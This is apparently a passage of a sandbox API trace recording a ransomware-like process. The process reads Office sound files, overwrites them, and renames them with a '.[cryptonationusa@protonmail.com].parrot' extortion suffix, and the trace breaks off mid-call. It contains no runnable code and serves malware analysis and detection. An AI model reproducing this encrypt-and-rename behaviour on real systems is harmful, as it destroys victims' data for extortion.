[0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176590 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176590 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2298050 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31d8528 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31bc468 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d8528 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22d8068 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31bc468 | out: hHeap=0x5b0000) returned 1 [0186.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x22e2098 [0186.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0186.087] WriteFile (in: hFile=0x284, lpBuffer=0x22e20a0*, nNumberOfBytesToWrite=0xeef8, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x22e20a0*, lpNumberOfBytesWritten=0x18e8f4*=0xeef8, lpOverlapped=0x0) returned 1 [0186.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e2098 | out: hHeap=0x5b0000) returned 1 [0186.090] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeeee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0186.090] CloseHandle (hObject=0x284) returned 1 [0186.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0186.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2296828 [0186.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0186.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296828 | out: hHeap=0x5b0000) returned 1 [0186.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c84e8 | out: hHeap=0x5b0000) returned 1 [0186.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0186.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0186.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0186.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0186.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.216] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0186.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.218] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6bbc, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6bbc, lpOverlapped=0x0) returned 1 [0186.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0186.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0186.219] GetLastError () returned 0x0 [0186.219] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0186.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0186.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0186.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176590 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176590 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0186.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0186.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0186.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0186.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0186.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2298050 [0186.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0186.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c84e8 [0186.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31ccc38 [0186.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c84e8 | out: hHeap=0x5b0000) returned 1 [0186.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31d3718 [0186.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ccc38 | out: hHeap=0x5b0000) returned 1 [0186.221] WriteFile (in: hFile=0x27c, lpBuffer=0x31d3720*, nNumberOfBytesToWrite=0x6cd8, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31d3720*, lpNumberOfBytesWritten=0x18e8f4*=0x6cd8, lpOverlapped=0x0) returned 1 [0186.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d3718 | out: hHeap=0x5b0000) returned 1 [0186.225] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6cd4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0186.225] CloseHandle (hObject=0x27c) returned 1 [0186.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0186.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2296828 [0186.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0186.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296828 | out: hHeap=0x5b0000) returned 1 [0186.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c04a8 | out: hHeap=0x5b0000) returned 1 [0186.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0186.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0186.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0186.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0186.231] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0186.231] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfb061200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfb061200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.232] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfad41520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xca18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CANWAV~1.PAR")) returned 1 [0186.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0186.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0186.232] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0186.232] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.232] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfab06080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfab06080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1 [0186.232] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfad1b3c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfad1b3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0186.232] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfb061200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfb061200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0186.232] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfb061200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfb061200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0186.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c98 | out: hHeap=0x5b0000) returned 1 [0186.233] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0186.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0186.233] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0186.233] lstrcmpW (lpString1="ToolBMPs", lpString2=".") returned 1 [0186.233] lstrcmpW (lpString1="ToolBMPs", lpString2="..") returned 1 [0186.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0186.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0186.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x606108 [0186.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68de88 | out: hHeap=0x5b0000) returned 1 [0186.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0186.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0186.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0186.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0186.233] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0186.235] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0186.235] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.236] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0186.236] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0186.236] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0186.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c8068 [0186.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0186.237] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.237] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.238] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14c9, lpOverlapped=0x0) returned 1 [0186.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0186.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0186.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0186.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0186.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0186.239] GetLastError () returned 0x0 [0186.240] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap 